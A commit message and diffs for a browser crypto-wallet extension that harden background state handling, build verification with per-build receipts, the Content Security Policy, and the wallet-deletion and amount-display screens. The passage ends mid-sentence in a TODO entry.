harden: make the background physically unable to read the shared state singleton (closes #324)

Five defects traced to one fact: src/background/index.js read and wrote the
module-level `state` singleton in src/shared/state.js, which the MV3 service
worker never populates and which answered an unpopulated read out of
DEFAULT_STATE in silence. Every previous fix added a loadState() before the
access, and that is what produced the fifth: a load detaches the objects an
in-flight handler is holding.

So the reachability goes rather than a sixth call site.

The background now has its own storage layer, src/background/state.js:
getState() is a detached, normalized per-call read, and updateState() is a
queued read-modify-write whose read is one storage round trip ahead of its
write. Nothing in the background holds an in-memory copy of the profile.

- Every handler takes one snapshot and answers from it, including the address
  it names: activeAddressOf(s) replaced a second, later storage read that
  could disagree with the first.
- wallet_switchEthereumChain applies applyChainSwitchFields() (split out of
  chainSwitch.js, which keeps the singleton path for the popup) inside
  updateState() instead of calling onChainSwitch() on the singleton.
- The remembered site decision is a read-modify-write, not a load-mutate-save
  around a prompt the user takes seconds to answer.
- backgroundRefresh() refreshes a private copy of the wallets and applies the
  balances that came back by address, so it never publishes an object other
  in-flight work holds, and a wallet added or deleted during the round trip
  survives its write.
- The transaction attempt takes its chain id and its endpoint from the same
  snapshot. They used to come from different moments, so a chain switch
  committed in between moved the endpoint under an artifact already verified
  against the old chain.

getProvider(rpcUrl, networkId) now REQUIRES the network id and validates it
against networks.js. That closes the cold-worker wrong-chain send at its shape
rather than at one call site: the hint used to default to currentNetwork() off
the unpopulated singleton, so the endpoint was the user's chain and ethers
fixed chainId at 0x1, and the wallet's own verifySignedTx then refused every
non-mainnet dApp send. refreshBalances(), lookupTokenInfo(), scanForAddresses()
and resolveEnsName() carry the id through; balances.js no longer requires
state.js at all.

The prohibition is enforced mechanically, not by review: a custom ESLint rule
walks the CommonJS require graph from every src/background/ file and fails the
lint when src/shared/state.js is reachable, naming the chain. A re-export from
any shared module cannot put the singleton back in the bundle unnoticed.

The rule's matcher covers every specifier syntax esbuild resolves statically —
quoted require, backtick require, dynamic import(), and a static import/export
`from` clause — because a narrower match is not a matter of tidiness but a sixth
site the build cannot see: each of those shapes was measured to put state.js in
dist/chrome/src/background/index.js while the lint stayed clean.
tests/backgroundStateLintRule.test.js pins all of them, plus the two-hop
re-export, against a real fixture tree. A computed specifier
(require("../shared/" + "state")) is deliberately not matched: esbuild cannot
resolve it either, so it never reaches the bundle.

Reading a persisted field of the singleton before any load now throws
StateNotLoadedError instead of serving DEFAULT_STATE.

Test stubs: chrome.storage.local is a serialization boundary, and eight files
stubbed it with an aliasing get, so the object a module held and the object
"storage" held were one object — an assertion could pass on a build that never
wrote anything. Every test that drives real persistence now goes through
tests/support/storageStub.js, which structured-clones in both directions.

closes #320

Makefile

@@ -1,4 +1,4 @@
-.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
+.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug vendor-blocklist clean dev
 
 # Standard targets are thin shims; the implementations live in script/
 # per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -47,26 +47,54 @@ docker:
 hooks:
 	@script/install-precommit
 
+# build.js writes a receipt of everything it emitted — every path, its sha256,
+# and whether it is a bundle containing constants.js — and script/verify-build
+# checks dist/ against that. The receipt is made here, fresh per invocation,
+# outside the repo, and deleted again: a standing file inside dist/ would be
+# rewritten by whoever rewrote dist/, which is what made the old check
+# satisfiable by a hand-written tree.
+#
+# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
+# from the verifier's environment. The script no longer reads it at all; env -u
+# is here so that stays true of anything it calls. It is deliberately NOT
+# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
+# compiles a debug bundle and then fails on it, loudly, rather than quietly
+# handing back something other than the release build that was asked for.
+#
+# Every step of this target is wrapped in script/discard-dist-on-failure, so a
+# release build that fails removes dist/ instead of leaving a complete, loadable
+# debug bundle there for whoever runs the build, sees it fail, and loads
+# dist/chrome/ anyway. A step that succeeds removes nothing, and build-debug is
+# deliberately not wrapped.
 build:
 	@echo "Building extension..."
-	@yarn run build 2>&1
-	@script/verify-build
-	@script/check-censored --require-dist
+	@set -eu; \
+	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
+	trap 'rm -f "$$receipt"' EXIT INT TERM; \
+	script/discard-dist-on-failure \
+		env AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
+	script/discard-dist-on-failure \
+		env -u AUTISTMASK_DEBUG script/verify-build --expect release \
+		--receipt "$$receipt"
+	@script/discard-dist-on-failure script/check-censored --require-dist
 
 # Development-only build: enables the red DEBUG / INSECURE banner and makes
 # the hardcoded test recovery phrase the output of wallet creation. Never
 # distribute the artifacts this produces.
+#
+# No discard-dist-on-failure here, on purpose: a debug build that fails is not
+# producing an artifact anyone could mistake for a release one, and its dist/ is
+# the evidence of what went wrong.
 build-debug:
 	@echo "Building extension (DEBUG)..."
-	@AUTISTMASK_DEBUG=1 yarn run build 2>&1
-	@AUTISTMASK_DEBUG=1 script/verify-build
+	@set -eu; \
+	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
+	trap 'rm -f "$$receipt"' EXIT INT TERM; \
+	AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
+	env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
+		--receipt "$$receipt"
 	@script/check-censored --require-dist
 
-# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
-# the end of build and build-debug; separate target for re-running it alone.
-verify-build:
-	@script/verify-build
-
 # Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
 # Run deliberately, land the diff: the extension does no runtime fetching, so
 # the shipped list is as fresh as the last vendoring run that was released.

README.md

@@ -48,28 +48,65 @@ Load the extension:
 
 ### Debug Builds
 
-`make build` always produces a release build: the build-time `DEBUG` constant is
-`false`, so wallet creation uses real entropy and the red banner is off. To
-produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
+`make build` never hands back a debug build. `make build-debug` is the only
+target that produces one:
 
 ```bash
-make build-debug          # or: AUTISTMASK_DEBUG=1 make build
+make build-debug
 ```
 
-Only the exact value `1` enables it; any other value (including unset, empty, or
-`true`) yields a release build, so a typo cannot accidentally ship the debug
-behavior. The build prints which mode it used. See the
-[DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
+`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value
+`1` does; any other value (including unset, empty, or `true`) yields a release
+build, so a typo cannot accidentally ship the debug behavior. But it is the
+compiler's input, not the verifier's: if it happens to be exported in the shell
+that runs `make build`, that target compiles a debug bundle and then **fails**,
+because it tells `script/verify-build` in so many words that it was supposed to
+produce a release build. It used to be that the verifier read the same variable
+out of its own environment, agreed with itself, and reported a debug artifact as
+verified. The build prints which mode it used. A release build that fails also
+**removes `dist/`**, and says so: the bundle it had already written is loadable,
+and a loud failure is no protection against someone loading `dist/chrome/`
+anyway. `make build-debug` keeps its `dist/` on failure — that output is not
+mistakable for a release build, and it is the evidence of what went wrong. See
+the [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
 distribute a debug build** — every wallet it creates gets the same publicly
 known test recovery phrase.
 
-Both builds end by running `script/verify-build`, which reads the compiled
+Both targets end by running `script/verify-build`, which reads the compiled
 `DEBUG` state back out of the emitted bundles and fails the build if it is not
 the one that was asked for. The test suite cannot check this: it loads
 `src/shared/constants.js` outside a bundle, so it only ever sees the fallback
 value. The assertion is on the artifacts because that is where the property
 lives.
 
+### Build Receipts
+
+`build.js` records every file it emits — path, sha256, and whether the file is
+one of the bundles containing `src/shared/constants.js` — into a build receipt,
+and `script/verify-build` checks `dist/` against that receipt: every recorded
+file present with exactly the recorded bytes, every audited bundle carrying the
+requested `DEBUG` marker, and no regular file or symlink under `dist/` that the
+build did not write. The `Makefile` creates the receipt path with `mktemp` per
+invocation, outside the repo, and deletes it afterwards.
+
+That is what ties the check to a build rather than to a directory. What it
+establishes is narrow and worth stating exactly: `dist/` is byte for byte the
+output of the `build.js` run that just finished, with no regular file or symlink
+added, removed or altered in between. Regular files and symlinks are the whole
+of what the tree walk covers; fifos, sockets, device nodes and empty directories
+under `dist/` are not checked, because a build emits none of them, none can
+carry a shippable payload, and `grep` on a fifo would hang rather than fail. It
+establishes nothing about whether the source tree or `build.js` were honest, and
+it offers nothing to someone handed a `dist/` from elsewhere — without the
+receipt from its own build there is no input to the check. Verifiable provenance
+for a third party is signing, which this is not.
+
+There is deliberately no target that re-verifies an existing `dist/` on its own.
+The list of files to check has to come from the build that produced them; read
+back out of `dist/`, it is the artifact vouching for itself, which is how a
+26-byte file containing only the marker string, a hostile content script, and an
+entire hand-written `dist/` all used to verify green.
+
 ## Entrypoints
 
 This repository adheres to the
@@ -114,20 +151,35 @@ provide:
   serves. Run deliberately, never as part of a build: the output is committed
   and there is no runtime fetch, so the shipped list is as fresh as the last
   vendoring run that was released
-- `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
-  `dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
-  off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
-  `make build` and `make build-debug`; fails loudly rather than passing if it
-  cannot determine a bundle's state. Not part of `make check`, which does not
-  depend on build artifacts existing.
+- `script/verify-build --expect release|debug --receipt PATH` — assert that the
+  regular files and symlinks under `dist/` are exactly what the build that just
+  ran emitted (other file types are out of scope), and that the compiled `DEBUG`
+  state of the bundles in it is the one that was asked for. Both arguments are
+  required and neither has a default: the expected mode is stated by the caller
+  rather than read from `AUTISTMASK_DEBUG`, and the file list comes from the
+  build's receipt rather than from `dist/` (see
+  [Build Receipts](#build-receipts)). Run automatically at the end of
+  `make build` and `make build-debug`; fails loudly rather than passing whenever
+  it cannot determine something. Not part of `make check`, which does not depend
+  on build artifacts existing.
+- `script/discard-dist-on-failure COMMAND [ARG...]` — run one step of the
+  **release** build and, if it fails, remove `dist/` before returning that
+  step's exit status, saying on stderr that it did and why. Every step of
+  `make build` runs through it; `make build-debug` runs none of them through it.
+  A step that succeeds removes nothing, and a removal that cannot be completed
+  is reported as loudly as one that was
 - `script/test-verify-build` — exercise every failure mode of
   `script/verify-build` against a fixture tree in a temp dir, asserting the exit
-  status and the message of each. Part of `make check`; it reads no build
-  artifacts and writes nothing under `dist/`. The cases that depend on file
-  permissions cannot mean anything for a process that is not subject to them, so
-  the harness proves its runner against a mode-000 file before counting them,
-  dropping to an unprivileged user when run as root; if it cannot, it skips
-  those cases and says so in a banner rather than passing them.
+  status and the message of each, assert the state of `dist/` on disk after a
+  failing and a succeeding release build step, and read the `make build` and
+  `make build-debug` recipes back out of `make -n` to check that they pass the
+  mode as an argument on a scrubbed environment and wrap only the release path.
+  Part of `make check`; it reads no build artifacts and writes nothing under
+  `dist/`. The cases that depend on file permissions cannot mean anything for a
+  process that is not subject to them, so the harness proves its runner against
+  a mode-000 file before counting them, dropping to an unprivileged user when
+  run as root; if it cannot, it skips those cases and says so in a banner rather
+  than passing them.
 - `script/docker` — build the Docker image tagged via `script/projectname`
 - `script/cibuild` — CI entrypoint: plain `docker build .`
 - `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -140,8 +192,11 @@ The Makefile shims to those. It also carries a few targets that have no
   of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
   silently rewritten. Use `make setup` for a fresh clone.
 - `make hooks` — shims to `script/install-precommit`
-- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
-- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
+- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`,
+  then verify the result against the build's receipt as a release build. A
+  failure at any step removes `dist/`
+- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a
+  debug build, and keeping its `dist/` on failure (see
   [Debug Builds](#debug-builds))
 - `make clean` — remove `dist/`
 - `make dev` — build in watch mode
@@ -653,6 +708,32 @@ Both are click-copyable. Truncating to 4 decimals in summary views is acceptable
 for scannability, but the detail view must never discard precision — it is the
 one place the user can always use to verify exact details.
 
+**Specific Exception — nonzero floor on the approval screens:** A nonzero amount
+must never render as zero. Truncating to 4 decimals does exactly that to an
+amount below 0.0001 — 1 base unit of an 18-decimal token, 500 base units of an
+8-decimal one — and on the dApp approval screen and the wait/success/error
+screens that carry its amount forward, a real transfer or allowance then reads
+as "nothing is being moved". A swap's `Min. received` is the sharper case: a
+slippage floor shown as `0.0000` states that the swap may return nothing.
+
+On those screens, when the truncated string would contain no digit from 1 to 9
+and the value does, the amount is extended to its first significant digit
+instead: `0.000000000000000001 DAI`, not `0.0000 DAI`. The test is on the whole
+truncated string, integer part included, so `1.00005` still shows as `1.0000` —
+the exception only fires where the entire displayed figure would read as zero. A
+genuine zero still renders `0.0000`, and truncation stays truncation: `0.99999`
+shows as `0.9999`, never rounded up.
+
+The rule and its exception live in `src/shared/amountDisplay.js` as
+`truncateAmount()` and `truncateAmountNeverZero()`. Everything the approval and
+confirmation screens display goes through the floored one — the ERC-20 amount,
+the ETH value and max fee (`src/popup/views/approval.js`), and the swap's
+`Amount` and `Min. received` lines (`src/shared/uniswap.js`). The history and
+balance lists (`src/shared/transactions.js`) use the unfloored one: the
+transaction detail view is the authoritative record and already shows exact
+precision. The 4-decimal rule is unchanged everywhere else, including for
+amounts at or above the floor on the approval screens.
+
 #### Partial USD totals
 
 Prices are fetched for the top 25 tokens only, so an address can hold assets the
@@ -769,7 +850,9 @@ for the views listed in `RESTORABLE_VIEWS` (`src/popup/restorableViews.js`).
 Every other screen falls back to Home. The screens that display a secret —
 ExportPrivKey and ShowRecoveryPhrase — are deliberately absent from that list,
 so the popup can never reopen onto one of them with no password prompt in front
-of it.
+of it. So are the two that destroy one, DeleteWallet and
+DeleteWalletLostPassword: a popup reopened by accident must not land on a screen
+whose button erases key material.
 
 A reopened popup renders the wallet list and the one screen it restores onto,
 and nothing else, so every screen on the stack behind that one is still the
@@ -792,7 +875,10 @@ exit from that screen rather than only on its "Back" button, so nothing secret
 survives in a hidden view once the user has navigated away by any route. That
 covers the revealed private key and recovery phrase, the recovery phrase,
 private key or extended private key entered on AddWallet, and the password typed
-on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
+on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign. DeleteWalletLostPassword
+registers one as well, for the neighbouring reason rather than that one: a
+wallet name is not a secret, but a typed confirmation left standing in a hidden
+view would leave a wallet one click from deletion.
 
 #### Welcome (`welcome`)
 
@@ -853,7 +939,13 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
         - **From xprv**: instruction text and a masked extended private key
           input
     - Password + confirm password inputs, with a hint line whose wording depends
-      on the selected tab
+      on the selected tab. Every wording says that the password cannot be
+      recovered or reset and names what the only backup of the wallet is — the
+      recovery phrase, the private key or the extended private key, according to
+      the tab. This is the only warning the user gets before the wallet exists;
+      without it, the lost-password route on DeleteWallet is the first they
+      would hear of it. The hint line reserves its height, so switching tabs
+      cannot move the password fields under the pointer.
     - "Import" button
 - **Transitions**:
     - "Import" with a valid entry and a matching password of at least 12
@@ -1208,6 +1300,7 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
     - Error line
     - Password input
     - "Confirm Delete" button
+    - An underlined "I have lost my password" control
 - **Transitions**:
     - "Confirm Delete" (correct password, other wallets remain) → deletes the
       wallet and its site permissions, then → **Settings** with a "Wallet
@@ -1217,10 +1310,54 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
     - Either way, the active address moves only if it belonged to the deleted
       wallet, and `AUTISTMASK_ACTIVE_CHANGED` is broadcast when it does
       (`src/shared/walletDelete.js`)
-    - "Confirm Delete" (wrong password) → "Wrong password." on the error line,
-      nothing deleted
+    - "Confirm Delete" (wrong password) → "That password is incorrect. Please
+      try again." on the error line, nothing deleted
+    - "I have lost my password" → **DeleteWalletLostPassword**
     - "Back" → previous screen (Settings)
 
+#### DeleteWalletLostPassword (`delete-wallet-lost-password`)
+
+- **When**: User tapped "I have lost my password" on DeleteWallet.
+- **Why it exists**: without it, a user who has forgotten the password but still
+  holds the recovery phrase has no route back into the product at all. Deletion
+  was password-gated, and importing the phrase again is refused as a duplicate
+  xpub by `findWalletByXpub()` while the wallet is still stored, so the only
+  escape was clearing extension storage through browser internals — which takes
+  every other wallet with it.
+- **Elements**:
+    - "Back" button, "Delete Wallet Without a Password" heading
+    - A statement that the password cannot be recovered or reset, so the wallet
+      cannot be unlocked again, and that no password is needed to delete it
+    - What deletion does and does not do: it erases the copy of the key stored
+      on this device; nothing on chain changes and no money is moved
+    - The route back — adding the wallet again with the recovery phrase and a
+      new password — and, in bold, that without that phrase written down the
+      deletion loses everything the wallet holds, forever
+    - That the other wallets are not touched
+    - The wallet's name, and a text input asking for it to be typed back
+    - Error line
+    - "Delete This Wallet Forever" button
+- **Transitions**:
+    - "Delete This Wallet Forever" (name typed correctly) → the same two
+      outcomes as "Confirm Delete" above, through the same `finishDelete()`, so
+      the selection repair, permission cleanup and `AUTISTMASK_ACTIVE_CHANGED`
+      broadcast are identical on both routes
+    - "Delete This Wallet Forever" (name does not match) → "That is not the name
+      of this wallet. Type <name> to confirm." on the error line, nothing
+      deleted
+    - "Back" → **DeleteWallet**, re-entered through its `show()` so the wallet
+      selection comes back with it. The two delete screens are siblings rather
+      than parent and child: nothing is pushed on the way here, so both have
+      Settings as their Back target.
+- **Deliberately not password-gated.** A password in front of _discarding_ a
+  secret protects nobody: an attacker at the popup who wants the wallet gone can
+  uninstall the extension, so the only person such a gate stops is the owner who
+  forgot it. The typed name is a check that the user knows which wallet they are
+  on, not a secret, so it is matched with surrounding spaces and letter case
+  ignored.
+- Not in `RESTORABLE_VIEWS`, alongside `delete-wallet-confirm`: a popup reopened
+  by accident must not land on a screen whose button erases key material.
+
 #### DeleteAddress (`delete-address-confirm`)
 
 - **When**: User tapped the `[x]` next to an address on Home. Offered only on HD
@@ -1237,13 +1374,13 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
       refused: "+" derives the next unused index (`nextIndex` is a high-water
       mark), and re-importing the wallet's key material is rejected as a
       duplicate by `findWalletByXpub` while the wallet is still present. What
-      works is deleting the whole wallet in Settings — password-gated, and it
-      destroys the stored secret — then importing again, whereupon
-      `scanForAddresses()` rediscovers the address **only if it has on-chain
-      activity**. An address that was never used is not found by that scan. The
-      text is written by `recoveryPathText()` rather than sitting in
-      `index.html`, so it can name the wallet's own kind of key material: an
-      xprv wallet has no recovery phrase to re-import.
+      works is deleting the whole wallet in Settings — which destroys the stored
+      secret — then importing again, whereupon `scanForAddresses()` rediscovers
+      the address **only if it has on-chain activity**. An address that was
+      never used is not found by that scan. The text is written by
+      `recoveryPathText()` rather than sitting in `index.html`, so it can name
+      the wallet's own kind of key material: an xprv wallet has no recovery
+      phrase to re-import.
     - A warning when the address holds anything, ETH or any tracked ERC-20,
       followed by the holdings themselves via `balanceLinesForAddress()` and the
       USD total via `formatAddressTotal()` (see
@@ -1464,10 +1601,44 @@ policy, but as of now there are none.
 
 ### Content Security Policy
 
-Both manifests declare the same policy for extension pages —
-`script-src 'self' 'wasm-unsafe-eval'; object-src 'self'` — as an object under
+Both manifests declare the same policy for extension pages, as an object under
 `content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as
-a bare string in `manifest/firefox.json` (MV2).
+a bare string in `manifest/firefox.json` (MV2):
+
+```
+default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self';
+style-src 'self' 'unsafe-inline'; img-src 'self' data:;
+connect-src 'self' https: http:; frame-src 'none'; form-action 'none';
+base-uri 'none'
+```
+
+`default-src 'self'` is the floor. Without it the policy governed script and
+plugins only, and everything else — frames above all — was unrestricted, which
+is what let an unescaped token symbol paint a cross-origin iframe over the
+wallet's own UI. Escaping is the primary fix for that (see
+`src/shared/html.js`); this is the second line, so an escape that does slip
+cannot reach the network.
+
+Four directives are looser than `'self'`, each for a reason that does not
+generalise:
+
+- `style-src 'unsafe-inline'` — `src/popup/index.html` and the view helpers set
+  presentation through `style="..."` attributes, which CSP blocks without this.
+  Chrome enforces `style-src` on attributes, not only on `<style>` blocks, and
+  Firefox has never implemented `style-src-attr`, so there is no narrower
+  spelling that works on both targets. It permits inline **style**; script stays
+  under `script-src`, which does not allow `'unsafe-inline'`.
+- `img-src data:` — identicons are generated in the popup by
+  `ethereum-blockies-base64` and assigned to `img.src` as `data:` PNGs.
+- `connect-src https: http:` — the RPC endpoint is user-configurable and a local
+  node over `http://127.0.0.1` is a supported configuration, which the Firefox
+  end-to-end suite depends on. The wallet's outbound traffic is constrained by
+  what it is written to contact (see External Communication), not by this
+  directive.
+- `frame-src 'none'`, `form-action 'none'`, `base-uri 'none'` — named rather
+  than inherited. `form-action` and `base-uri` do not fall back to `default-src`
+  at all, so they would have stayed unrestricted; `frame-src 'none'` is what
+  refuses the framed-overlay attack outright.
 
 `'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly
 build and a `wasm2js` translation of it in one file, tries WASM first, and
@@ -1485,9 +1656,10 @@ strings, not inline script, not remote script. Using it requires already
 executing script in an extension page, which is complete compromise on its own.
 `'unsafe-eval'` is a different proposition and is not granted.
 
-The grant is pinned in both directions. `tests/manifest.test.js` asserts the
-exact token set in both manifests, so dropping `'wasm-unsafe-eval'` (a silent
-20x regression on the key derivation) and adding anything beyond it both fail
+The policy is pinned in both directions. `tests/manifest.test.js` asserts the
+exact directive set and the exact token set of each directive in both manifests,
+so dropping `'wasm-unsafe-eval'` (a silent 20x regression on the key
+derivation), dropping `default-src`, and adding anything anywhere all fail
 `make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM
 backend, and `make test-e2e` compiles a WebAssembly module inside the real popup
 under the real manifest.

TODO.md

@@ -25,7 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
 milestone is in flight on `next`; its `next` -> `main` PR is
 [#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
 green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
-`dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
+`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to
+hold exactly the regular files and symlinks that build emitted, with `DEBUG`
 compiled off.
 
 The backlog lives on the
@@ -44,6 +45,208 @@ but the review is broader than any of them.
 
 # Completed Steps
 
+- 2026-08-23: The background no longer reads or writes the shared `state`
+  singleton ([#324](https://git.eeqj.de/sneak/AutistMask/issues/324)), which
+  also closes the cold-worker wrong-chain send
+  ([#320](https://git.eeqj.de/sneak/AutistMask/issues/320)). One in-memory copy
+  loaded once is the popup's lifetime, not the MV3 worker's: the worker is
+  killed when idle, nothing loaded state at module scope, and an unpopulated
+  read was answered out of `DEFAULT_STATE` in silence. Five defects traced to
+  that, and every point fix added a `loadState()` that created the next one — a
+  load detaches the objects an in-flight handler is holding. The background now
+  has its own storage layer (`src/background/state.js`): `getState()` for a
+  detached per-call read, `updateState()` for a queued read-modify-write.
+  `backgroundRefresh()` refreshes a private copy and applies the balances that
+  came back by address, so a wallet added, renamed or deleted during the round
+  trip survives. The transaction attempt takes its chain id and its endpoint
+  from one snapshot, so a committed chain switch can no longer move the endpoint
+  under an artifact already verified against the old chain. `getProvider()` now
+  REQUIRES the network id, which is what closes
+  [#320](https://git.eeqj.de/sneak/AutistMask/issues/320) at the shape rather
+  than at the call site. The prohibition is enforced by an ESLint rule that
+  walks the background's require graph and matches every specifier syntax
+  esbuild resolves — quoted, backtick, dynamic `import()` and `from` clause — so
+  neither a re-export nor an unusual specifier can put the singleton back in the
+  bundle; the rule's own coverage is pinned by
+  `tests/backgroundStateLintRule.test.js`. Reading an unloaded singleton now
+  throws `StateNotLoadedError` instead of serving defaults. The
+  `chrome.storage.local` stubs in eight test files aliased instead of
+  structured-cloning, which could let an assertion pass on a build that never
+  wrote anything; every test that drives real persistence now goes through
+  `tests/support/storageStub.js`.
+- 2026-08-23: A failed release build no longer leaves a loadable debug bundle in
+  `dist/` ([#333](https://git.eeqj.de/sneak/AutistMask/issues/333)). With
+  `AUTISTMASK_DEBUG=1` exported, `make build` compiled a debug bundle and failed
+  on it in `script/verify-build` — but the bundle stayed on disk, loadable, with
+  every wallet it creates using the publicly committed test recovery phrase.
+  Every step of `make build` now runs through `script/discard-dist-on-failure`,
+  which removes `dist/` when a step fails and says on stderr that it did and
+  why; a removal it cannot complete is reported just as loudly.
+  `make build-debug` is deliberately not wrapped: its output is not mistakable
+  for a release build and is the evidence of the failure.
+  `script/test-verify-build` asserts the state of `dist/` on disk after a
+  failing and a succeeding step, not just the exit status, and reads `make -n`
+  to check the wrapper is on the release path and only there.
+- 2026-08-23: `README.md` and `script/verify-build`'s own comments now state the
+  emitted-tree guarantee at the width the code actually enforces
+  ([#331](https://git.eeqj.de/sneak/AutistMask/issues/331)). The tree walk is
+  `-type f -o -type l`, so the guarantee covers regular files and symlinks under
+  `dist/`; fifos, sockets, device nodes and empty directories are not checked,
+  because a build emits none of them, none can carry a shippable payload, and
+  `grep` on a fifo would hang rather than fail. The exclusion is deliberate and
+  unchanged — the README said "nothing under `dist/` that the build did not
+  write", which was broader than that. Documentation only; no executable line
+  changed.
+- 2026-08-23: An amount below the 4-decimal display floor no longer reads as
+  zero on the approval screens
+  ([#322](https://git.eeqj.de/sneak/AutistMask/issues/322)). With the token's
+  true scale resolved, the 4-decimal truncation still printed a small amount as
+  `0.0000` — 1 base unit of an 18-decimal token, 500 of an 8-decimal one — so a
+  real transfer, allowance or swap was stated as nothing on the one screen whose
+  job is to say what is being authorized, and a swap's `Min. received` claimed
+  the user might receive nothing. Three copies of that truncation existed; they
+  now share `src/shared/amountDisplay.js`. Everything the approval and
+  confirmation screens render (`src/popup/views/approval.js`,
+  `src/shared/uniswap.js`) extends to the first significant digit when the
+  truncated figure would otherwise read as zero, keeping the amount in token
+  units rather than switching to base units mid-line. The history and balance
+  lists (`src/shared/transactions.js`) keep the unfloored rule, which is out of
+  scope by the issue's definition of done. `README.md`'s Display Consistency
+  section records the exception.
+- 2026-08-20: A second extension page can no longer silently delete a wallet
+  ([#304](https://git.eeqj.de/sneak/AutistMask/issues/304)). `saveState()` wrote
+  the entire state blob, and every extension page — the toolbar popup, a dApp
+  approval window, `backgroundRefresh()` — holds its own in-memory `state`,
+  loaded once, with `showView()` saving on every navigation; a second page that
+  saved after a first had written something new overwrote it, no attacker or
+  unusual input required. `saveState()` is now a read-modify-write: it re-reads
+  storage, diffs the persisted fields against a deep-cloned `baseline` snapshot
+  taken at the last `loadState()`/`saveState()` on that page, and writes only
+  the fields that actually changed — everything else is carried forward from
+  storage in its loaded-and-normalized shape (`normalizePersisted()`, shared
+  with `loadState()`), so a legacy or malformed record a load has always
+  self-healed in memory keeps getting written back even on a save that touched
+  something else entirely. `showView()` fires `saveState()` on every navigation
+  without awaiting it, so two saves from the same page can be in flight at once;
+  a FIFO queue serializes them rather than letting a slow one finish after a
+  later one and re-derive a stale answer. Deliberately not done: the live
+  `state` of a field this page does not own is not rehydrated from what another
+  page wrote, only the persisted record is — adopting a concurrently-written
+  value into `state` reintroduced the same clobber one page later, caught by
+  `tests/txStatus.test.js` red. Two writers of the same field still resolve
+  last-writer-wins, documented at the merge point. `tests/stateMerge.test.js`
+  covers the two-page save and the approval-window reproduction from the issue —
+  add a wallet in one page, force a save from a second page loaded before it,
+  both wallets survive — each demonstrated failing against the unfixed full-blob
+  write.
+- 2026-08-20: A forgotten password no longer wedges the wallet
+  ([#312](https://git.eeqj.de/sneak/AutistMask/issues/312)). Deleting a wallet
+  was password-gated and importing its recovery phrase again was refused as a
+  duplicate xpub, so a user who had the phrase but not the password could
+  neither leave nor come back: the only way out was clearing extension storage
+  through browser internals, which takes every other wallet with it.
+  DeleteWallet now offers "I have lost my password", a screen that destroys the
+  wallet after the user types its name back — no password, because requiring one
+  to _discard_ a secret protects nobody. An attacker at the popup who wants the
+  wallet gone can uninstall the extension; the only person such a gate stopped
+  was the owner who forgot it. That was chosen over allowing a duplicate xpub to
+  re-encrypt in place: re-import would have had to be built three times over
+  (`hd` and `xprv` by xpub, `key` by address), would make the user retype the
+  recovery phrase into a live popup to change a password, and reaches no state
+  that delete-then-import does not already reach through `scanForAddresses()`.
+  Both routes share one `finishDelete()`, so the selection repair, the
+  site-permission cleanup and the `AUTISTMASK_ACTIVE_CHANGED` broadcast cannot
+  diverge between them, and the new screen is excluded from `RESTORABLE_VIEWS` —
+  a popup reopened by accident must not land on a button that erases key
+  material. AddWallet's password hint now says, per import mode, that the
+  password cannot be recovered or reset and what the only backup is; the hint
+  line reserves its height so switching tabs cannot move the password fields.
+  The test drives the real view against a `chrome.storage.local` stub that
+  structured-clones on both `set` and `get` and asserts against the read-back,
+  so it fails on the deletion of `saveState()` and not only on an in-memory
+  splice.
+- 2026-08-20: `make build` can no longer hand back a debug build, and
+  `script/verify-build` can no longer be satisfied by bytes the build did not
+  produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
+  verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
+  environment, so an operator with that exported who ran the release target got
+  a debug bundle — every wallet it creates carrying the publicly committed test
+  phrase — certified green at exit 0. The expected mode is now the required
+  argument `--expect release|debug`, with no default and nothing read from the
+  environment, and the `Makefile` scrubs the flag from the verifier while
+  deliberately leaving it reaching the compiler, so that shell fails the build
+  loudly instead of quietly getting something other than what it asked for.
+  Provenance was the other half: the check was a marker grep over a file list
+  read back out of `dist/`, so a 26-byte file containing only
